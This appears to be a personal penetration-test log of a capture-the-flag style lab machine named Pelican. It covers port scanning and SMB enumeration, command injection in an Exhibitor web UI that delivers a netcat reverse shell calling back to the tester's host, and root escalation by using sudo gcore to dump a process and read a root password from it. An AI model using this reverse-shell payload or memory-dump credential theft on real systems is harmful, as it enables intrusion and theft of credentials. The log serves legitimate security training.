🧪 Pentest Log: {{date:2025-08-11}}

🔍 Target Information

• Machine Name: Pelican
• IP Address: 192.168.187.98
• Operating System: Linux

ip=192.168.187.98

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 139, 445

smbclient -L \\\\$ip\\

enum4linux -a $ip

Port 631

Port 2181

Port 8080

http://192.168.187.98:8080/exhibitor/v1/ui/index.html

Google "ZooKeeper v1.0 exploit", found

https://www.exploit-db.com/exploits/48654

Port 8081

|_http-title: Did not follow redirect to http://192.168.187.98:8080/exhibitor/v1/ui/index.html

Port 44267

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 8080
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

https://www.exploit-db.com/exploits/48654

Open the Exhibitor Web UI and click on the Config tab, then flip the Editing switch to ON

    In the “java.env script” field, enter any command surrounded by $() or ``, for example, for a simple reverse shell:

    $(/bin/nc -e /bin/sh 192.168.45.163 8080 &)
    Click Commit > All At Once > OK
    The command may take up to a minute to execute.


python3 /home/kali/Documents/oscp/penelope/penelope.py -p 8080

🧬 Privilege Escalation

👤 Current Access

• User: charles
• Groups: charles
• Shell Type: reverse shell

🔍 Enumeration

Sudo:

sudo -l

found root running

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: Sudo Abuse
• Target Binary/Service: Gcore
• Reference / Source: GTFOBins

🔧 Exploit Steps

• Enumerate

ps -aux

sudo gcore 486

strings core.486

found

root:ClogKingpinInning731

• Smash to root

su -